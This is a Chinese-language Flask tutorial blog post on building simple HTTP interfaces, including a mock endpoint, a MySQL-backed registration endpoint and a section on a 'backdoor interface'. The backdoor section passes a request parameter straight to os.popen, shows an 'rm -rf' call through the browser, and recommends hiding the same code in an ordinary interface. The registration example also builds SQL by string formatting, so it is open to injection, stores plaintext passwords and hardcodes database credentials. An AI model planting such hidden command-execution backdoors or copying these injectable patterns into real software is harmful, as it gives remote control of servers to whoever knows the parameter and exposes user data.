Python學習之==>接口開發
阿新 • • 發佈:2018-06-20
min 輸入 false 通過 ask cmd man true 其他人
一、開發接口的作用
1、在別的接口沒有開發完成的時候可以模擬一些接口以便測試已經開發完成的接口,例如假的支付接口,模擬支付成功、支付失敗。
2、了解接口是如何實現的:數據交互、數據返回
3、開發給別人查看數據,避免其他人直接操作數據庫
二、接口開發的步驟
1、實例化server
2、裝飾器下面的函數變為一個接口
3、啟動服務
三、開發一個簡單的接口
1 import flask,json 2 server = flask.Flask(__name__) # 實例化server,把當前這個python文件當作一個服務,__name__代表當前這個python文件3 @server.route(‘/index‘,methods=[‘get‘]) # ‘index‘是接口路徑,methods不寫,則默認get請求 4 # 裝飾器,下面的函數變為一個接口 5 def index(): 6 res = {‘msg‘:‘這是我開發的第一個接口‘,‘msg_code‘:‘0000‘} 7 return json.dumps(res,ensure_ascii=False) 8 # json.dumps 序列化時對中文默認使用的ascii編碼.想輸出真正的中文需要指定ensure_ascii=False 9 10 server.run(port=8888,debug=True,host=‘0.0.0.0‘) # 啟動服務 11 # debug=True,改了代碼後,不用重啟,它會自動重啟 12 # ‘host=‘0.0.0.0‘別人可以通過IP訪問
運行這段代碼,打開瀏覽器,輸入http://127.0.0.1:8888/index,就可以看到如下運行結果:
四、開發一個註冊接口
1 import flask,json 2 server = flask.Flask(__name__) 3 @server.route(‘/reg‘,methods=[‘post‘]) 4 def reg(): 5 username =flask.request.values.get(‘username‘) 6 pwd = flask.request.values.get(‘pwd‘) 7 if username and pwd: 8 sql = ‘select * from my_user where username = "%s";‘%username 9 if my_db(sql): 10 res = {‘msg‘:‘用戶已存在‘,‘msg_code‘:2001} 11 else: 12 insert_sql = ‘insert into my_user(username,passwd,is_admin) values ("%s","%s",0);‘%(username,pwd) 13 my_db(insert_sql) 14 res = {‘msg‘:‘註冊成功‘,‘msg_code‘:0000} 15 else: 16 res = {‘msg‘:‘必填字段未填,請查看接口文檔!‘,‘msg_code‘:1001} 17 return json.dumps(res,ensure_ascii=False) 18 19 server.run(port=8888,debug=True,host=‘0.0.0.0‘) # 啟動服務 20 # debug=True,改了代碼後,不用重啟,它會自動重啟 21 # ‘host=‘0.0.0.0‘別人可以通過IP訪問
my_db()為另外封裝的函數,應放在接口上面,具體代碼如下:
1 def my_db(sql): 2 import pymysql 3 coon = pymysql.connect( 4 host=‘192.168.1.112‘, user=‘test‘, passwd=‘111111‘, 5 port=3306, db=‘test‘, charset=‘utf8‘) 6 cur = coon.cursor() #建立遊標 7 cur.execute(sql)#執行sql 8 if sql.strip()[:6].upper()==‘SELECT‘: 9 res = cur.fetchall() 10 else: 11 coon.commit() 12 res = ‘ok‘ 13 cur.close() 14 coon.close() 15 return res
使用postman測試結果如下:
五、後門接口
1 import os 2 @server.route(‘/error‘,methods=[‘get‘]) 3 def cmd(): 4 cmd = flask.request.values.get(‘cmd‘) # 接口入參 5 res = os.popen(cmd) # 執行用戶命令 6 return res.read() # 返回執行結果 7 # http://127.0.0.1:8888/error?cmd=rm -rf a.txt 後門接口可以直接通過瀏覽器刪除項目文件 8 # 隱蔽一點的方法,把cmd = flask.request.values(‘cmd‘,None)寫入正常接口 9 # 默認可以不傳,一但傳了再res = os.popen(cmd) 10 server.run(port=8888,debug=True,host=‘0.0.0.0‘) # 啟動服務 11 # debug=True,改了代碼後,不用重啟,它會自動重啟 12 # ‘host=‘0.0.0.0‘別人可以通過IP訪問
一個接口文件中可以包含多個接口,只要接口路徑不一致即可。但是server.run()一定要放到所有接口最底下,否則,在server.run()下面的接口是不會被運行的。
Python學習之==>接口開發